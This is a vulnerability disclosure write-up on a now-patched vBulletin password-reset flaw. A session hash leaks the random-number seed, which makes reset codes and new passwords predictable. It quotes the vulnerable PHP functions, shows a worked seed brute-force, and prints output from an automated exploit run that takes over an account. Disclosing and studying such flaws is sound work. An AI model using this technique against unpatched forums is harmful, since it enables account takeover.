vBulletin RNG Crypto Attack

This is now fixed in vBulletin 3.7.3 PL1.

This page describes how a user's account may be comprimised via the 'Password Reset' functionality. The normal 'Password Reset' workflow is pretty standard: You type in your e-mail address, and the sotware sends a URL, containing a secret reset code to your e-mail address. Upon clicking this link, the software sends a new password by e-mail. The security of this method hinges on the secrecy of the reset codes.

At a high level, an information leak in the software exposes the state of the PHP random number generator, which can then be used to predict the generated secret reset codes, and generated new passwords.

Given a user's e-mail address, you can initiate a password reset for their account, then predict the secret details, and gain access to their account. The method used is:

  1. Initiate a password reset
  2. Predict the secret reset code sent via e-mail
  3. Submit this secret reset code to the software
  4. Predict the new password sent via e-mail
  5. Login using the new password

Random Number Generation

vBulletin uses PHP's built in Mersenne Twister random number implementation. Two functions are used:

The random number generator (RNG) is deterministic; given the same seed, the same sequence of values are produced.

All uses of these mt_* function (for the purpose of this vulnerability) are wrapped by the single 'vbrand' function:

function vbrand($min, $max, $seed = -1)
{
        if (!defined('RAND_SEEDED'))
        {
                if ($seed == -1)
                {
                        $seed = (double) microtime() * 1000000;
                }

                mt_srand($seed);
                define('RAND_SEEDED', true);
        }
        return mt_rand($min, $max);
}
The first time this function is run, it seeds the random number generator with a number, 0 to 999,999. This number is the number of microseconds into the current second, and is difficult to determine. We'll be determining this value exactly, to determine the initial state of the RNG.

Guessing the seed

When initiating a password reset, it is possible to force the software to use the random number generator in this way:

To gain the random reset, or new password values, we need to determine the random numbers given by the RNG at states 2/3. Below I describe how to attack a session hash to determine the first state, then determine the RNG seed used. Once the seed is determined, it's possible to calculate the first, second, third etc. random values, and thus calculate the secret values.

Sessions

A guest (non-logged in user) may be assigned a session. This session is identified with a 32 character session hash. The guest session hash is generated with:

function fetch_sessionhash()
{
    return md5(TIMENOW . SCRIPTPATH . SESSION_IDHASH . \
               SESSION_HOST . vbrand(1, 1000000));
}

All four of the constants can be determined by the attacker:

For a given session, we can know all of the session components (TIMENOW, SCRIPTPATH, SESSION_IDHASH, SESSION_HOST), and calculate the vbrand() value. For example:

Given a POST request to the page:
 - URL: http://skip.cpscan.com:8010/vb/login.php?x=y
 - User-Agent: pass_reset_demo_1220397844
 - IP address: 91.186.26.176
We get back:
 - session hash: e4a1b42410ed8c282f96c146271164b3 (from page content)
 - 'lastvisit' value: 1220397844 (from the 'bblastvisit' cookie, the TIMENOW value)
We can now determine the vbrand() value:
 - md5(TIMENOW . SCRIPTPATH . SESSION_IDHASH . SESSION_HOST . vbrand(1, 1000000)) = "e4a1b42410ed8c282f96c146271164b3"
 - md5("1220397844" . "/vb/login.php?x=y" . "6ab7698d20c7f7275587aa7b1a9a9988" . "91.186.26.176" . vbrand(1, 1000000)) = "e4a1b42410ed8c282f96c146271164b3"
By trying all possible return values of vbrand(1, 1000000) (1 to 1,000,000), we can find the correct value. This takes about a second:
 - md5("1220397844" . "/vb/login.php?x=y" . "6ab7698d20c7f7275587aa7b1a9a9988" . "91.186.26.176" . "627041") = "e4a1b42410ed8c282f96c146271164b3"
In this case, the first vbrand() output was 627041.

Mapping the initial vbrand() value to the reset/new password codes

To map the initial vbrand() value to the reset/new password codes, I simply calculated all the possible random number chains: Seeding the RNG with the values 1...999,999 in turn, recording the mappings of the first random value to the second and third random values.

The result was a ~25mb file, which acts as a lookup table from the vbrand() value as found by breaking the session hash, to possible secret codes. In recent history, the RNG implementation has changed, so two lookup tables are needed. I generated one table on PHP version 4.4.7, and the other on 5.2.6.

Automated program

I built a Perl program to do the above automatically. It walks through the steps needed, and uses the pre-generated lookup table:

skip@skip [~/vb_demo]$ ./vb_pass_reset "http://www.vbulletin-fans.com" 38356 Skippy10 "[removed]+1@gmail.com"
vBulletin Password Reset Vulnerability demo

- Posting to http://www.vbuilletin-fans.com/login.php?x=y for [removed]+1@gmail.com...
 - Extra post content is ''
 - Session hash is 'b12fc4d88fe906408dfe4857acf9473c', lastvisit is '1220429252'
 - Session prefix option: '1220429252/login.php?x=yb60f78dd8abd27291cb342120a8bd40d91.186.26.176'
 - Session prefix option: '1220429252/login.php?x=y4b2b184bad5ce5498b5e63f83c555f2591.186.26.176'
 - RNG search.... 161609
- Lookup table has 4 possible reset key(s): 19969882, 62648957, 59344897, 21866059
 - Trying key 19969882
 - Trying key 62648957
 - Trying key 59344897
- Key 59344897 worked
 - Session hash is '8a1ce92494b147f791ec0dedfc280844', lastvisit is '1220429258'
 - Session prefix option: '1220429258/login.php?a=pwd&u=38356&i=5934489785a597d706565ac159e74a2446c99a9191.186.26.176'
 - Session prefix option: '1220429258/login.php?a=pwd&u=38356&i=593448970756a2e10f4bd80ddf4e74d0cf3fc12691.186.26.176'
 - RNG search... 85024
- Lookup table has 4 possible password(s): 54611633, 35575021, 27687435, 34634338

The password for Skippy10 is now '27687435'
Time taken: 12 seconds
skip@skip [~/vb_demo]$